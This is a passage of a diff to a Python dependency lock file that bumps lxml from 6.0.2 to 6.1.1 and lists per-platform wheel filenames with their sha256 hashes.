"sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe"}, - {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c"}, - {file = "lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b"}, - {file = "lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed"}, - {file = "lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8"}, - {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d"}, - {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f"}, - {file = "lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312"}, - {file = "lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca"}, - {file = "lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c"}, - {file = "lxml-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a656ca105115f6b766bba324f23a67914d9c728dafec57638e2b92a9dcd76c62"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c54d83a2188a10ebdba573f16bd97135d06c9ef60c3dc495315c7a28c80a263f"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:1ea99340b3c729beea786f78c38f60f4795622f36e305d9c9be402201efdc3b7"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:af85529ae8d2a453feee4c780d9406a5e3b17cee0dd75c18bd31adcd584debc3"}, - {file = "lxml-6.0.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:fe659f6b5d10fb5a17f00a50eb903eb277a71ee35df4615db573c069bcf967ac"}, - {file = "lxml-6.0.2-cp38-cp38-win32.whl", hash = "sha256:5921d924aa5468c939d95c9814fa9f9b5935a6ff4e679e26aaf2951f74043512"}, - {file = "lxml-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:0aa7070978f893954008ab73bb9e3c24a7c56c054e00566a21b553dc18105fca"}, - {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2c8458c2cdd29589a8367c09c8f030f1d202be673f0ca224ec18590b3b9fb694"}, - {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3fee0851639d06276e6b387f1c190eb9d7f06f7f53514e966b26bae46481ec90"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b2142a376b40b6736dfc214fd2902409e9e3857eff554fed2d3c60f097e62a62"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a6b5b39cc7e2998f968f05309e666103b53e2edd01df8dc51b90d734c0825444"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d4aec24d6b72ee457ec665344a29acb2d35937d5192faebe429ea02633151aad"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:b42f4d86b451c2f9d06ffb4f8bbc776e04df3ba070b9fe2657804b1b40277c48"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6cdaefac66e8b8f30e37a9b4768a391e1f8a16a7526d5bc77a7928408ef68e93"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:b738f7e648735714bbb82bdfd030203360cfeab7f6e8a34772b3c8c8b820568c"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:daf42de090d59db025af61ce6bdb2521f0f102ea0e6ea310f13c17610a97da4c"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:66328dabea70b5ba7e53d94aa774b733cf66686535f3bc9250a7aab53a91caaf"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:e237b807d68a61fc3b1e845407e27e5eb8ef69bc93fe8505337c1acb4ee300b6"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:ac02dc29fd397608f8eb15ac1610ae2f2f0154b03f631e6d724d9e2ad4ee2c84"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:817ef43a0c0b4a77bd166dc9a09a555394105ff3374777ad41f453526e37f9cb"}, - {file = "lxml-6.0.2-cp39-cp39-win32.whl", hash = "sha256:bc532422ff26b304cfb62b328826bd995c96154ffd2bac4544f37dbb95ecaa8f"}, - {file = "lxml-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:995e783eb0374c120f528f807443ad5a83a656a8624c467ea73781fc5f8a8304"}, - {file = "lxml-6.0.2-cp39-cp39-win_arm64.whl", hash = "sha256:08b9d5e803c2e4725ae9e8559ee880e5328ed61aa0935244e0515d7d9dbec0aa"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e"}, - {file = "lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62"}, + {file = "lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60"}, + {file = "lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1"}, + {file = "lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a"}, + {file = "lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5"}, + {file = "lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485"}, + {file = "lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2"}, + {file = "lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08"}, + {file = "lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621"}, + {file = "lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28"}, + {file = "lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b"}, + {file = "lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7"}, + {file = "lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a"}, + {file = "lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a"}, + {file = "lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77"}, + {file = "lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f"}, + {file = "lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736"}, + {file = "lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947"}, + {file = "lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca"}, + {file = "lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660"}, + {file = "lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc"}, + {file = "lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0"}, + {file = "lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb"}, + {file = "lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603"}, + {file = 